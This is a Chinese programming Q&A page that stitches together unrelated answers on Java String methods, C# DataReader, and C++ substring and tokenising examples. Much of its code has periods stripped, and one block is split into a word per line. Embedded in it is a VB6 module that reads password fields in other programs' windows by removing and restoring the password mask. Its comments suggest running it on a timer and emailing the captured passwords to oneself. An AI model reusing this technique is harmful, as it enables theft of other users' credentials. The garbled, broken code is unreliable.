
你好,代码如下,请参考:
public class TestString {
public static void main(String[] args) {
String s1 = "you are a student";
String s2 = "how are you";
Systemoutprintln("s1和s2是否相等:" + s1equals(s2)) ;
String a1 = "22030219851022024" ;
String sub = "220302" ;
if(a1indexOf(sub) == 0 || a1lastIndexOf(sub) == a1length()-1){
Systemoutprintln(a1 + "的前缀或后缀是由" + sub + "组成");
}
if("你"compareTo("我") > 0){
Systemoutprintln("你大于我");
}else{
Systemoutprintln("我大于你");
}
String n1 = "100" ;
String n2 = "123678" ;
int num1 = IntegerparseInt(n1) ;
double num2 = DoubleparseDouble(n2) ;
Systemoutprintln(num1+num2);
String str = "FEDCBA" ;
char s[] = strtoCharArray() ;
for(int i=0;i<slength;i++){
Systemoutprint(s[i] + " ");
}
}
}
如果要像你那样赋值的话,最好用DataSet
DataReader提供一个来自数据库的快速、仅向前、只读数据流。
比如给一个combobox或datagridview赋一个datareader
使用String类的indexOf()方法就可以,比如String a="中华人民共和国";String b=“华”;int x=aindexOf(b);得出x值只要不等于-1说明字符串a就包含字符串b,如果等于-1就说明字符串a不包含字符串b
Public
ChildHwnd
As
String
Declare
Sub
Sleep
Lib
"kernel32"
(ByVal
dwMilliseconds
As
Long)
'发送消息
Declare
Function
SendMessage
Lib
"user32"
Alias
"SendMessageA"
(ByVal
hWnd
As
Long,
ByVal
wMsg
As
Long,
ByVal
wParam
As
Long,
lParam
As
Any)
As
Long
Declare
Function
PostMessage
Lib
"user32"
Alias
"PostMessageA"
(ByVal
hWnd
As
Long,
ByVal
wMsg
As
Long,
ByVal
wParam
As
Long,
ByVal
lParam
As
Long)
As
Long
'主要用来遍历子窗体和子控件句柄
Declare
Function
EnumChildWindows
Lib
"user32"
(ByVal
hWndParent
As
Long,
ByVal
lpEnumFunc
As
Long,
ByVal
lParam
As
Long)
As
Long
'控件类型
Declare
Function
GetClassName
Lib
"user32"
Alias
"GetClassNameA"
(ByVal
hWnd
As
Long,
ByVal
lpClassName
As
String,
ByVal
nMaxCount
As
Long)
As
Long
'开始遍历
EnumChildWindows
mehWnd,
AddressOf
EnumChildProc,
ByVal
0&
'遍历子窗体控件句柄,这个函数必须用在模块中
Public
Function
EnumChildProc(ByVal
hWnd
As
Long,
ByVal
lParam
As
Long)
As
Long
ChildHwnd
=
ChildHwnd
&
","
&
hWnd
EnumChildProc
=
1
End
Function
'由于上面这个函数每次调用都会得到下一个子窗体(控件)的句柄,并赋值给hWnd,实际使用中,我把所有子句柄存放在ChildHwnd字符串中,遍历完毕,再
'Dim
AllHwnd()
As
String
'去除多余的无效字符
'ChildHwnd
=
Mid(ChildHwnd,
2)
'转换成数组
'AllHwnd
=
Split(ChildHwnd,
",")
'获得所有子句柄后,需要获取其控件类型
'查看窗体/控件类型
Public
Function
FGetClassName(hWnd
As
Long)
As
String
Dim
ClassName
As
String
Dim
Ret
As
Long
'为类名设置缓存区大小
ClassName
=
Space(256)
'得到GETCLASSNAME返回值
Ret
=
GetClassName(hWnd,
ClassName,
256)
FGetClassName
=
Left(ClassName,
Ret)
End
Function
'直接sendmessage
就可以得到控件中的内容了,对于某些可能有passwordchar属性的控件,需要先sendmessage查看其passwordchar属性,再 postmessage取消该属性,一定时间延迟后(一定要),再sendmessage读取内容,再sendmessage恢复passwordchar属性
Public
Function
GetText(WindowHandle
As
Long)
As
String
Dim
strBuffer
As
String,
Char
As
String,
lngTextLength
As
Long
strBuffer
=
Space(255)
'得到password掩码
Char
=
SendMessage(WindowHandle,
&HD2,
0,
0)
'去除edit控件的passwordchar属性
PostMessage
WindowHandle,
&HCC,
0,
0
'如果是edit控件则等待消息发送成功
If
InStr("Edit",
FGetClassName(WindowHandle))
And
Char
<>
"0"
Then
Sleep
(10)
'得到edit控件的text
SendMessage
WindowHandle,
&HD,
255,
ByVal
strBuffer
'恢复edit控件的passwordchar属性
PostMessage
WindowHandle,
&HCC,
ByVal
Char,
0
GetText
=
Trim(strBuffer)
End
Function
'最后,利用timer控件,不断获取当前窗体GetForegroundWindow的所有子控件的内容就可以了
'可以向密码结巴那样,整理出密码后smtp到自己邮箱(参见使用winsock和smtp一文)
'测试了下,我自己机器上,只有qq2007
beta3的密码是读不出来的,用户名是假的
'这种较高级的消息只对普通edit控件产生作用,自己写个类就比较安全了
'今天在安全焦点看了篇文章,可以直接从内存中读取控件内容,vb要实现可能很有点难
#include <iostream>
#include <String>
using namespace std;
void main()
{
string str = "Hello World";
int a = strfind("W"); //find的作用是返回参数在字符串中的位置
cout<<a<<endl; //输出结果6
string sub= strsubstr(0,5); //substr的作用是截取字符串,第1个参数为起始位置,第2个参数为截取长度
cout<<sub<<endl; //输出结果Hello
}
/ strtok example /
#include <stdioh>
#include <stringh>
int main ()
{
char str[] ="- This, a sample string";
char pch;
printf ("Splitting string \"%s\" into tokens:\n",str);
pch = strtok (str," ,-");
while (pch != NULL)
{
printf ("%s\n",pch);
pch = strtok (NULL, " ,-");
}
return 0;
}
或
#include <iostream>
#include <sstream>
#include <string>
using namespace std;
int main()
{
string s("Somewhere down the road");
istringstream iss(s);
do
{
string sub;
iss >> sub;
cout << "Substring: " << sub << endl;
} while (iss);
return 0;
}
或
#include <vector>
#include <string>
#include <sstream>
using namespace std;
int main()
{
string str("Split me by whitespaces");
string buf; // Have a buffer string
stringstream ss(str); // Insert the string into a stream
vector<string> tokens; // Create vector to hold our words
while (ss >> buf)
tokenspush_back(buf);
}
以上就是关于关于String的一个问题,用Java语言。全部的内容,包括:关于String的一个问题,用Java语言。、C# DataReader数据读出来了,但是不知道怎么取、测试一个字符串是否包含了另一个字符串(不区分大小写)等相关内容解答,如果想了解更多相关内容,可以关注我们,你们的支持是我们更新的动力!
欢迎分享,转载请注明来源:内存溢出
微信扫一扫
支付宝扫一扫
评论列表(0条)